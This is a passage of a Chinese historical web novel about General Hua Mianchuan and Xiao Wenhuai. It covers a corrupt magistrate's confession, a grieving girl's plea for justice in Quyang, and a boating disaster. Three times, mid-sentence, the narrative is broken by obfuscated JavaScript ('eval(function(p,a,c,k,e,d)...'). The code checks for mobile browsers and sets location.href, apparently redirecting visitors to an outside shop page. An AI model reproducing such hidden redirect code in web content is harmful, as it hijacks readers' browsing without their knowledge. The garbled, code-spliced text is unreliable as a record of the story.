“当年为崔清柳辩护，又被贬谪数年，满腹经纶却郁郁不得志。后来到了画溪，我的妻子在一路颠簸中去世，那时，我手上连将她体面安葬的钱都凑不齐，只得将她安葬在一处空僻之地。可路上，我看到那些锦衣貂裘、走马观花的富贵公子，他们无需过问人间疾苦，我这才看清楚现实：我给朝中位高权重的官员均写了拜谒诗，多数石沉大海，有些故交批判我失了文人本色。笑话啊，文人本色是什么？大道之行，一定要受尽苦楚、居陋室才是圣贤？当今这个世道，想着做清官、做好人，那就是死路一条！” “我又想走致富之路，便带着城中百姓在茂林挖药草、大肆捕猎，将名贵树种砍伐贩卖。山林日渐空旷，曾有人冒死进京想要揭露真相，却被受我蛊惑的城中百姓偷偷绞杀。直到那时，我才发现，利益之上，早已没了是非黑白。” “所以，当那些我曾经最瞧不起的人个个平步青云，找到我想要羞辱我，却又给我指‘明路’时，我毫不犹豫地答应了。” “我将那些名贵的草药、兽皮献给他们，向他们讲述画溪的物华天宝，用这漫山遍野的宝贝向他们投诚。我就这样，成了人家的一把刀，一把逮谁砍谁的刀——只要给够利益，我就能替他们办事，彻底沦为了权贵的走狗！” “哈哈哈哈哈！”赵康狂笑，“我彻底沦为了权贵的走狗啊！” “我失去了本心，我愧对夫人……” 他的夫人，常梅本是名门之后，在八月十五明月夜河边灯展，两人一见钟情，夫人当年不顾家中反对，执意嫁给家道落魄的他。 他为人榆木，不善冯迎，阿梅跟着他吃了很多苦，好不容易即将苦尽甘来，阿梅却永远死在了他上官赴任的路上。 那时，他手上连将她体面安葬的钱都拿不出，上面催促赴任的日子渐到，他只能无奈为她撰写一段碑文，将她简单葬在距城三十里外。 生活稳定后，他开始亲手为她筹划陵寝，那座耗尽心机筑起的陵寝，雕梁画栋的壁画，他积攒多年为她存下的奇珍异宝，亲自为她写的墓志铭，她永远都感受不到了。她只能在旅途途中的一处孤坟里，做一个孤魂野鬼。 车马碾过黄土，沿途断壁残垣、荒草萋萋。当年画溪那般钟灵毓秀的盛景，早已化为乌有，就如他这一生——从前是鲜衣怒马、顺风顺水的天之骄子，如今却落得众叛亲离、人人喊打的境地。回顾一生，唯有抱恨黄泉。 忆往昔，青山依旧，物是人非。 ———— 花眠船第一次见赵康，是在崔清柳还没失踪前。那时，她刚从流离中安定下来，赵康刚中进士入朝堂，正是春风得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887810|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之际。他心高气傲，虽是进士出身，却心比天高，自认有状元之才，却出身于落败世家，，对同期为官的进士没一人瞧得起，反倒是对武将出身的崔清柳一见如故。赵康常常登门拜访，两人时常侃侃而谈，忘却时间。 再后来，崔清柳常在边关驻守，回京之日少之又少。虽是聚少离多，二人的感情却仍旧不减反增。崔清柳失踪后，赵康是第一个跳出来为他辩护的，却也因此得罪权贵，官场失意多年。花眠船为官后，他也曾照拂，二人亦有书信往来。 赵康曾说：“人生得一知己，足矣。” 对他来说，崔清柳大抵就是那个人。 知己，独一人的知己。 可终归，少年心气付诸流水，看尽人间冷暖、世间百态后，两人还是走上了殊途末路。 —— “萧将军，恕我直言，有些事，萧将军还是不要插手的好。” 屋内两人对立而坐，桌上摆着棋盘。盛厅南这话，不是念在萧文怀的权势，反倒是念在二人的交情上。 一子落下，盛厅南开口：“赵康一案牵扯出崔清柳投敌之事，虽尚未成定局，但花眠船昔日与他关系匪浅，此事必定会牵连于她。若是不加以严查，恐难堵悠悠众口。萧将军以为呢？” 盛厅南这话里话外，看似是劝说，实则处处带着诘责。他向来雷厉风行，威压权势从不是他惧怕的对象，若非与萧文怀有几分交情，也不会坐下来同对方说这些。 远处案桌上，沉香缭绕，香烟中隐约透印出萧文怀的模样——玉冠束发，白衣胜雪，面色波澜不惊，语气里却处处带着不容置喙的笃定： “盛大人也说此事尚未成定局。花将军幼时受崔大人之恩，崔大人行踪不定多年，如今听闻崔大人的消息，反应过激也属正常。崔清柳是否投敌，如今不过是赵康的一面之词。花将军以女子之身驻守南境多年，一心为国效力，盛大人若是仅凭一句话便随意替人定罪，岂不会寒了边关众将士的心？” “所以——萧将军是要铁了心包庇花眠船？” “包庇谈不上。只不过，盛大人要清楚，花将军刚打了胜仗，这场战役的胜负在朝堂上带来的影响，想必你我都心知肚明。” “花将军是该回京。” “不过，不是因着那些捕风捉影的虚事，而是奉旨进京接受封赏。” 花眠船刚打了胜仗，受命进京，此战关乎重大，可见圣上的重视，这个节骨眼上，此事若是出了差错，无论刑部有心还是无意，纵是自由惯了，也难免被朝堂冷箭，市井俚语淹却。 皆是，刑部最在意的名，结果如何，可想而知。 “萧文怀！” 盛厅南气红了脸，拍案起身，拂袖而去。 萧文怀面无表情，继续落子。 棋子落定，黑白交错间，胜负已然揭晓。 赵康是午时伏法的，新任画溪县令下午便到了。 看得出来，上头的人，确实挺急的。 新上任的画溪县令姓李，单名一个吉，是淮阳李氏的旁支族人。他原在京城任翰林院编修，因暗地里的一些事被贬至临县任主簿，赵康一案东窗事发后，被临时调至画溪担任县令。 那人身长约六尺，身形微胖，阔面大耳，看着虎头虎脑，却是乡间常说的有福相之人。没想到，这人他说起话来头头是道，行为处事也处处遵循规矩，见到花眠船与萧文怀便恭敬作揖，虚心地请教治理画溪的事宜。 朝堂上那群老头见了，估计要拍着他的肩，笑道，难得的可塑之才。 15. 衢阳 这人说起话来头头是道，行为处事看着倒是处处遵循规矩。 初见花眠船与萧文怀，便作揖，虚心请教。 “将军！” 蒋维舟急匆匆地推门跑入。 “府外围了一群百姓，嘴里叫嚷着要花将军和您出去！” 蒋维舟气喘吁吁地讲道： “说，说什么，要替赵县令讨个公道！” “走。” 花眠船叫上从玉，两人单枪匹马地冲出门。身后的萧文怀、李吉一行人见状，也不由分说地跟了上去。 “让花眠船！萧文怀滚出来！” “让花眠船！萧文怀滚出来！” “赵县令爱民如子，对我们什么样，我们自然清楚！” 一群人浩浩荡荡地围在门口，领头者一言，他们一语的，一副誓不罢休的态度。 “花将军，百姓们也是受了蒙蔽……” “去你大爷的蒙蔽！赵大人是什么样的人，我们朝夕相处，怎么会不比你们知道得多？” “倒是你们，见风就是雨的，还当什么官？脖子上的脑袋，倒像是个摆设！” “放肆！” 李吉打断他们：“若不是花将军和萧将军，你们现在怕是还在受赵康一伙儿的利用！” “我呸！” “诸位，赵康贪赃枉法，已成定局。若是谁有不满，大可进京随我一探究竟。” “这些日子，赵康为大家造成的损失，由官府全权负责，大家可以放心。” “再者，我必将向朝廷请示，替大家开凿水源，以及尽全力修复茂林。” 李吉字字箴言，说罢竟还朝着百姓鞠了一躬。众人语气略有松动，内部渐渐有些别样的声音。当地有名望的几位读书人、员外率先起了头，表示愿意接受。众人见状，也多信服，但却要他立下字据，李吉只得同意。 负责侦查的鹰，也在这时回到了主人手里。 —— 夜晚天色朦胧， 花眠船提着酒壶在房梁上，一个人独自饮酒。 崔清柳当真投了敌？她不信。可这话是赵康说出来的，她不排除赵康是为了故意激怒她，可也说不定，究竟是真是假。 崔清柳……她那位少年为将的师父，一心向着百姓，常年驻守边疆，便是为了国泰民安。这样的一个人，怎么可能投敌？ 一种难以言说的情绪压在她心头，令她喘不过气。花眠船烦闷地将酒壶劈开，甘霖顺着她仰头提壶的举动流下，辛辣的感觉直冲头颅。 “花将军。” 萧文怀一身白衣，玉面白冠，踏月而来。 “萧将军？好巧。” 都是来屋檐上喝酒，是挺巧的。 方才开壶时，酒水撒了她一身，闻起来，满身的酒气。 “萧将军，也来喝酒？” “我从不饮酒。” 呵，我从不饮酒。 怎么上次喝的不是酒，难道是水？当真是古怪，明明能喝，却偏要装出一副克己复礼的模样，正义凛然地拒绝她。 果然，男人嘛，没一个好东西，更何况是不善逢迎的男人。 “那不知萧将军来这儿，有何贵干？” 花眠船开门见山道。 “赏月。” “赏月？” “对，赏月。” 灰蒙蒙的天，月亮完全被云层遮住，只蒙蒙透出些月光。 大阴天的，出来赏月？ 当真是叫人难以理解，说白了就是纯有病，大半夜里寻着借口给人添堵。 花眠船将位置往旁边移了移，眼含同情地望向他，顺带补充一句：“您请。” 总有些人有些特殊的癖好，我们要给予理解，以及尊重。 …… 也可以鄙视。 花眠船终究还是没说下去那个口，本着人不犯我我不犯人的态度，她继续仰头，举头望……乌云，喝着她的酒。 “花将军？” 萧文怀诧异开口。 “嗯。” “我知道你想说什么。” “其实，我自己也不太相信，不，是没有把握。投敌一事，对他来说，是绝对不可能的。但有一点可以肯定，崔清柳还活着。无论赵康是真见过他，还是听些旁的流言，可以肯定的一点，我师父，崔清柳还活着。” “只要找到他，一切都会水落石出。” 花眠船眼底的光渐渐暗去：“就算他真的投了敌，也总不可能是心甘情愿，我也想听听，他有什么隐情。” 花眠船这人，远比他想的要内心强大。不，换句话说，历经半生风雨，常年行军，战场上刀剑无情，生离死别是常态，说来，花眠船早就有了远超常人的承受能力，也不过是见惯了。 萧文怀明白，花眠船根本不用靠他安慰，靠他解释。原本准备好、到嘴边的话，被他吞了回去，化作一抹浅笑，荡漾在这无边黑夜。 他接过花眠船递过来的酒，不再言语，将一切话，化进这酒里，随着它一起，吞进肚子。 且将新火试新茶，诗酒趁年华。 —— 逗留太久，本是计划着下午启程，终究还是因这些事耽误了。 第二天一大早，他们告别了前来送行的县令李吉以及少部分百姓，重新踏上了回京之路。 “等一下！等一下！花将军，蒋公子……” 蔡葵边跑边喊地赶到他们队伍里。 “蒋公子。” “你答应过我……” 蔡葵面上含羞，支支吾吾道：“要入赘的……” 声音愈来愈小。 “这……” 蒋维舟被众人推搡着来到前面，不好意思地挠头。 能让蒋公子脸红，当真是罕见啊。众人无一不是看好戏的表情。 “可现在我想清楚了，我留在这里也是等着被叔嫂吃绝户。” “我想随你们去上京，我想去见识见识京城的纺绣。” 她眼底顿时流露出渴求。 “好。” 蒋维舟道。 “蒋公子，叫人家姑娘主动算什么男人？” 有人打趣道。 “就是，就是。” “还不表态啊？蒋公子？” 人群中一顿骚乱，蒋维舟恨不得把这群人的嘴巴全都撕烂，不成想，被人推搡上前，只得扭捏道： “那个……那个……” “蔡葵姑娘，小爷……我邀请你跟我一块儿去上京。” —— “将军，这人下官查过了，不是什么奸细眼线之类的，可以放心留在身边。” 从玉汇报道。 “做得好，从玉。” “将军过誉了。” “放心吧，她老家的那些亲戚，我也会派人替她料理。”花眠船安慰道。 “去吧。” “多谢将军。” “跟我谈谢，属实是生疏了，从玉。”花眠船打趣道。 “是。” 蔡葵很像从玉进花家之前被卖掉的妹妹。即使不确定到底是不是她，她也愿意信她，权当是为自己留个念想。 她花眠船已经“没有”亲人了，这种感情，她理解。 —— 天光大亮，这一路上的光景瞬息万变，他们却不曾为一刻停留。 又走了七日，离京城不过数百里，最多再有三日便能赶到。一路上舟车劳顿，风餐露宿，花眠船提出让军队进城短暂修整半日，萧文怀那边无异议，两队便就近进了城。 —— 衢阳。 衢阳为水乡，是开国将领陈德恩被册封为绛侯时的封地，后成为历代绛侯世代的封地。此任绛侯是前一任绛侯的女儿，老绛侯战功赫赫却无子，先帝怜他，将独女上合县主册封为新一任绛侯，直到今天，绛侯仍在位上。 萧文怀早年与她有些渊源，萧文怀的母亲萧夫人陈氏与绛侯是远亲。现任绛侯初上位时，二人常常书信往来，情谊颇深。 一为修整，二来替长辈拜访，以全孝心。 —— “你怎知这里的人可信？” 花眠船颔首，面向萧文怀问道。 “不可信，只是……” 萧文怀眸中神色晦暗不明。 这一队人马递过通行的通牒，城门口守门的侍卫时不时瞥向他们，查完令牌后，转身向身旁人交代两句，才扭头随他们进了城门。 可疑啊…… 街铺上来往行人络绎不绝，无一例外，一副看戏地模样打量着他们，这群外来客：。这里虽不如京城繁盛，却有着“小京城”的美名。 倏忽，一个姑娘从围堵的人群中冲出来，直直跪在萧文怀、花眠船两人打头的队伍前，拦住去路。 她双目通红，声声泣血：“民女求大人替民女和家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906313|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申冤！” “求大人申冤！” 几个响头磕下去，额前渐渐泛了红。花眠船与萧文怀两人互递了一个眼神，花眠船看向马后的谭闻雨。谭闻雨会意，翻身下马，将姑娘扶起，交代两句，扶着她去了近处的茶水铺子。 “有什么冤情，尽可说。” 谭闻雨抱臂。 对于花眠船来说，救人是常态。身处高位，又是女子，历经多年才到了这个地位。也许正因如此，她的队伍里、身边都有不少因战乱流离失所的百姓。 她常会因些小事儿救人。 无论是非，不顾查察原因。对于从军打仗的人来说，这其实是个致命的点。不少手下或多或少、隐隐晦晦地提醒过她很多次，可每次，花眠船不过是一笑泯过。她说：“若是因为这一举动，能多救下一个人，那这一次决定就是值得的。若是我因此被蒙骗，则怪我太过轻信别人。” 她什么都懂，只是仍旧想要相信。 “姑娘？” 那女子尚未开口，便倒向一侧，双眼上翻，晕了过去。 谭闻雨：“……” 她也是没想到，会是这么…… —— “将军，只是晕过去了。” 上次在画溪途中，她们救下了一位卖身葬母的女医，名秋，无姓，单名一个秋字，军队里常唤她小秋。 小秋精通医术，据说，她们家是前朝医士尹佟的传人。 家中原有人口二十余人。前年冬天，小秋已出嫁的姐姐被绛侯独子陈世子看上，强行掳走，带回府中纳为小妾。姐姐不堪受辱，在新婚夜上吊自尽。 当夜，姐姐的尸首被扒光，放在牛车上，双目瞪得浑圆，连脸都没捂上，就这样穿过长街，在众人惊异的目光下被送了回来。 屈辱，又何止是屈辱。 绛侯世子在她们家吃了哑巴亏，自然不会放过她们。 从最开始的三番五次来家里闹事，到后来以要人为由强行抢走她的小妹。 爹爹去府里要人，被府上家奴为给主子出气，聚众打了一顿，第二天以同样的方式被抬了回来。 回来时，爹爹尚有一线生机，却七窍出血，浑身上下挑不出一块儿完整的好肉，苟延残喘三日，也驾鹤西去。 家中母亲本就病入膏肓，接二连三的打击传来，父亲去世的当夜，母亲也一命呜呼。 家中长辈尚且如此，更何况学徒、佣人。 想保命的，趁着夜黑风高、时局混乱，悄悄跑了；忠心的，也被后来陈世子宴请的一场赔礼宴牵连，同坐获罪。 而小秋因拜师在外，躲过了一劫。 等回到家中……不，那时的她已经没有家了。庭院里破败不堪，早已长满了杂草。 院子里，因无人收尸，一群人的尸首就这样被横七竖八地丢在地上。 寒冬腊月，小秋在城外寻了一处未开辟的荒地，众目睽睽之下，她一个人费力地推着牛车，一具具地将亲人的尸骨运出城外安葬。 安葬的过程进行不过一半，一天夜里，房子被一把火点燃，熊熊大火将一切烧了个干净。 城中无处申冤，她想过进京告御状，可没有绛侯的允许，她连城门都出不去。 出不去，在这城里，她只能四处躲藏，像一只暗无天日的老鼠。 活下去，她只是想活下去…… 没人能帮她，她只有自己。 衢阳城地处偏僻，城中常年处于封闭状态。路过的商队会因为繁琐的手续，宁可绕路远行；经过的军队，常会因害怕惊扰城中百姓而远离。城中与外界接触的主要方式依靠城门，于城门处会谈交换用品。 有时半月二十天都有可能无一人进出，常年处于闭关锁城的状态。 不是无人向朝廷反应过，圣上出于对功臣的体恤，也派过几波人，但返京的人并未查出什么，此事也就不了了之。 三日前，小秋听闻萧文怀、花眠船回京的队伍或许会经过城中，特来申冤。 对于她来说，即使只有一成的把握，也是值得的。她本就是抱着必死的决心来的。 当街拦路勋贵，即便两人冷眼旁观，就算城中封闭隔绝、官府全力控制，此事也定有人能传出一点风声，她坚信。 更何况，她听说这位花将军乐善好施，绝不会漠视不公…… 无论怎么说，这是个机会。 她顾不得其他，只能放手一搏。 16. 第 16 章 萧文怀问道：“嗯？在想什么？” 花眠船单手托脸，全神贯注地盯着窗外。 “没什么。” 有些东西，看开了，也就走出来了。一辈子看不开，始终会是执念，无时无刻不在困扰着。 为将者，这是致命的弱点。 “你看那些百姓，安居乐业，自力更生，若是再来一次，不从军，你想做什么，萧文怀？” 小楼之下，挑着扁担的商贩们彼此之间穿梭往来，此起彼伏的叫卖声不断，三三两两的行人闻声驻足，目光不断地在琳琅的货物上流连。 萧文怀若有所思，良久声，音通透：“奏琴，归隐，往来无白丁。” 果然啊，萧将军不愧是萧将军。 花眠船问：“你觉得我会做什么？” “从军，打仗。” 花眠船是天生将星，深谙逢迎，更精通战略博弈之道，善用人，懂人心。 她是天生的将星。 花眠船扭头，面向他，轻笑一声又转回去：“看来在萧将军心里，我这个人还是不可或缺的。” “其实，我也没想过，也许会做作诗，写写文章，度过这一生。” “他日，后人再谈起我时，或许，我是个千古流芳的女诗人。” 但显然，若是论花眠船，这不过是妄言，花眠船对自身的斤两，还是有着清晰的认识。 “也许吧。” 花眠船道。 两人齐齐看向窗外。 他们追求的自始至终都是，太平盛世，国泰民安。 这一点，永恒不变。 —— 今日一早，花眠船接到了小王爷李佟的飞鸽传书，信上说，朝堂上对物资拖延一事轰动很大，圣上大怒，连下三道命令，令众人彻查此事。 除此之外，他的人，暗中拦截了疑似赵康上头的人传给他的书信，信上说要他想办法除掉花眠船，绝不能让花眠船回京。 另外，对萧文怀多加堤防。 不可掉以轻心。 他们调查到暗中三王爷的人有意拉拢萧文怀，叫花眠船小心。 —— “是时候拜访拜访‘主人’了。” 花眠船冷笑，起身关上窗。 “将军。” 从玉敲门入室。 沉静道：“阿秋姑娘的事，查清楚了。” “的确，与绛侯世子有关。” “只是，暗处，绛侯那边不希望我们调查，暗中派了不少人干扰……我们是否……” “继续查下去，不用顾虑别的。” “是。” 又是一场“硬战”。 “萧将军那边传来消息，沈世子落了水，我们已派人去慰问。” “好。” —— “将军，衢阳城三年前遭遇过一场空前绝后的水患。” —— “将军，城外水域上数十条游船发生故障，据统计，可能有百人遇难。” “据说，已禀报给官府，可……却迟迟未有人出面营救。” “外面已经围了一群民众，希望我们能出兵援救。” “我们……” 从玉为难，外面百姓的哭喊声遍地。 若非走投无路，谁会肯冒这个险？万一是圈套…… 顾不得思考这么多，花眠船立决道： “从玉，随行的军队里，只要是水性好的，全部派去岸边，另外，通知萧将军。” “为我备马。” —— 等他们到了现场，外面已经乌泱泱围了一波人，哀嚎声遍地可闻。 船上除三名任教夫子外，全是城内唯二的学堂——白鹭学堂的学生，约有百余人。 每年，这段日子，城中特有的一种名为覃鱼的鱼种丰收，城中每年都会由夫子领队按计划下河捕捞，这么做的目的，既是祈祷来年的丰收，为衢阳城中百姓康健祈福，也为了让年轻一辈体会渔民的辛苦。 按计划，本该像往常一样活动，可今年，不知是什么缘故。 渔船客船船夫全因前些日子的水灾被调去城西支援，可传统不能废，向绛侯请示后，由夫子带队，学生划船独自前去。 衢阳城是水乡，孩子们自小也是从水上长大，多水性好，即使出了问题，也能自救。 本来一开始一切正常，但当船只划到湖中地带，突然，数十条船船底齐齐被水冲破，湖中卷起千重浪，船只被浪打翻，水性一般的孩子，多被卷入湖底，稍好的，扶着浮木苦苦支撑着。 “花将军来了！” “花将军！求求您，救救我们的孩子，求求您了。” 多人上前将她团团围住，从玉、谭闻雨等人被挤到一旁，无法靠近。 “将军！将军！” 眼瞅着离花眠船越来越远，谭闻雨急切地呼喊道。 “没用的。” 从玉面带忧色：“当务之急，是救人。” “是。” 谭闻雨得令。 花眠船神情镇定，安慰道：“诸位，我们已经派人全力营救孩子们，请各位放心。” “求求您，也救救我们。” 有人喊道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919058|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “都让让，都让让。” “谁要是干扰了官府行事，你们的孩子们，就等着下河喂鱼吧。” 身后有一人，生得高壮，大腹便便，满脸横肉，沉声威胁道，那人身后跟着四五人牛气冲冲地赶来，面带怒色。 包围的人群闻声，刹那间，轰然散开，为求明哲保身，一个个恨不得离花眠船八丈远。 “这位是？” 花眠船眉毛蹙起，双眼中披上了层寒霜，语气疑惑道。 “在这城里混的，居然有人不认识我们世子？” 打头的人神色戏谑，却并未开口，身后留着络腮胡的跟班挑衅道。 “就是，就是！” 身后其他人争相附和，从玉、谭闻雨等人也借机跑回花眠船身边。 两拨人对立，气氛霎时剑拔弩张。 说来也怪，花眠船和萧文怀两人的军队中，从未有人私底下透露过即将进城的消息，又是什么原因，引得他们人还未到，消息便不胫而走呢？当真是匪夷所思。 “花眠船。” “谁？” 随行的人像是听到什么天大的笑话，一个两个互相追问： “你听过吗？” “没有，你呢？” “没有。” 随行留着络腮胡的人：“还以为是个多大排场的人呢，也不过如此。姑娘，我劝你们，别在这里继续逞威风，也少多管闲事，得罪我们世子的后果，你承担不起。” “承担不起！” 其他人不管什么青红皂白，捧着那人的话当圣旨，齐声迎合。 打头的“世子”，眯着眼，细密地打量着花眠船以及她身后的谭闻雨、从玉等女官。 那眼神，令人毛骨悚然。 这时，世子出来打圆场，道：“诶——都把嘴巴放尊重点，千万别吓到各位美人儿。” “好一群美人。” 不同于府邸养着的娇玉，却是一群颇有野性，令人有征服欲的女人。 当然，美人儿们身后不乏跟着一群碍眼的臭男人。 “来人——请各位美人，到我府上一叙。” 世子摆手，眼底的欲望出奇的强烈，身后的人早就蠢蠢欲动，世子一发话，一群人恨不得即刻冲上去。 “孩子！我的孩子啊！” 哭喊声此起彼伏。 来不及了…… 花眠船下令： “先救人，女官在岸上接应，其他人，只要是水性好的，配合着一起救人。” “小谭、陌陌，解决他们，从玉以及其他人，跟我走。”